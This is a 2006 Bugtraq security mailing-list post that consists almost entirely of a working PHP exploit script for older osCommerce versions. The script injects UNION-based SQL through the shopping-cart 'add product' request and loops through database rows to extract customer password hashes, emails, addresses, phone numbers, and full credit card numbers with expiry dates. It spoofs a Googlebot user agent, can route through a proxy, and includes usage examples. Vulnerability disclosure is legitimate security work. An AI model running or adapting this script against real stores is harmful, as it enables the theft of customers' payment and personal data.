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Message-ID: <20060830180746.31837.qmail@securityfocus.com>
Date: 30 Aug 2006 18:07:46 -0000
From: s10242006@...oo.com
To: bugtraq@...urityfocus.com
Subject: osCommerce < 2.2 Milestone 2 060817 POC Exploit
#!/usr/bin/php -q -d short_open_tag=on
<?
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
if ($argc<5) {
echo "\r\nExploit osCommerce < 2.2 Milestone 2 060817 by Perseus \r\n";
echo "\r\nUsage: \r\n\r\n php ".$argv[0]." host path product_id whatinfo OPTIONS\r\n\r\n";
echo " host - target server (ip/hostname)\r\n";
echo " path - path to osCommerce\r\n";
echo " product_id - Valid product_id\r\n";
echo " whatinfo - pass for password, cc for credit card info, addr for address\r\n\r\n";
echo "Options:\r\n\r\n";
echo " -D: Show debug or verbose on\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n\r\n";
echo "Example:\r\n\r\n";
echo " php ".$argv[0]." localhost /os2/catalog/ 2 pass\r\n";
echo " php ".$argv[0]." 192.168.1.108 /os2/catalog/ 2 pass -p8080 -P192.168.1.108:3128 -D\r\n";
echo " php ".$argv[0]." 192.168.1.108 /os2/catalog/ 2 cc -p8080 -P192.168.1.108:3128\r\n";
die;
}
$host=$argv[1];
$path=$argv[2];
$products_id=$argv[3];
$whatinfo=$argv[4];
$port=80;
$Debug=0;
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-D")
{
$tmp=str_replace("-D","",$argv[$i]);
$Debug=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if($Debug==1) {
echo "Name\t: osCommerce Multiple Vulnerabilities\r\n";
echo "Date\t: August 17, 2006\r\n";
echo "Vendor\t: osCommerce\r\n";
echo "URL\t: http://www.oscommerce.com/\r\n";
echo "Version\t: osCommerce < 2.2 Milestone 2 060817\r\n";
echo "Risk\t: Multiple Vulnerabilities\r\n";
echo "Exploit\t: Customers Info, Pass, and Credit Info Disclosure\r\n";
echo "Author\t: Perseus\r\n";
echo "Compatibility\t: magic_quotes_gpc off, union supported\r\n";
echo "Greets\t: rgod, James Bercegay, str0ke, hdm, r57 \r\n";
}
// try if you can rewrite this code to attack osc with magic_quotes_gpc on
// because I found it impossible for the moment.
// this will make oscommerce people update their vuln servers right now.
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$loop = 1000;
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex, $Debug;
if ($proxy=='') {
if($Debug==1) echo "\r\nProcessing packets directly...\r\n";
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo "\r\nNo response from ".$host.":".$port."\r\n"; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
if($Debug==1) echo "\r\nProcessing packets using proxy ".$parts[0].":".$parts[1]." ...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo "\r\nNo response from proxy...\r\n";die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$bl=0;
for($y=0;$y<=$loop;$y++) {
//1. get cookie
$out = "GET ".$p."product_info.php?products_id=".$products_id." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Connection: Close\r\n\r\n";
sendpacketii($out);
$e = explode("Set-Cookie: osCsid=",$html);
$e2 = explode(";",$e[1]);
$cookie = $e2[0];
//2. injection
if($whatinfo=="pass") {
$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', customers_password, '^', customers_email_address,'|',customers_firstname,'|',customers_lastname,'|',customers_dob,'|',customers_telephone, '^') , 0 , 0
FROM customers LIMIT ".$y.",1 /*";
} elseif($whatinfo=="addr") {
$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', entry_company, '^', entry_firstname,'|',entry_lastname,'|',entry_street_address,'|',entry_suburb,'|',entry_postcode,'|',entry_city,'|',entry_state, '^') , 0 , 0
FROM address_book LIMIT ".$y.",1 /*";
} elseif($whatinfo=="cc") {
$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', cc_type, '^', cc_owner,'|',cc_number,'|',cc_expires,'|',billing_street_address,'|',billing_suburb,'|',billing_city,'|',billing_postcode,'|',billing_state,'|',billing_country,'^') , 0 , 0
FROM orders LIMIT ".$y.",1 /*";
}
$sql=urlencode($sql);
$data = "id[0]=".$sql."";
$data.="&products_id=".$products_id."";
$out = "POST ".$p."product_info.php?products_id=".$products_id."&action=add_product&osCsid=".$cookie." HTTP/1.0\r\n";
$out .= "User-Agent: Googlebot/2.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Accept: text/plain\r\n";
$out .= "Connection: Close\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Cookie: ".$cookie."\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data;
sendpacketii($out);
//3. get vals
$out = "GET ".$p."shopping_cart.php?osCsid=".$cookie." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Connection: Close\r\n\r\n";
sendpacketii($out);
//echo $html;
$e = explode("M||||",$html);
$e2 = explode("^",$e[1]);
$str = "\r\n".$y.". ".$e2[0]." ".$e2[1]."\r\n";
echo $str;
$strl = strlen($str);
if($strl<=25) $bl++;
if($bl==3) break;
}
?>
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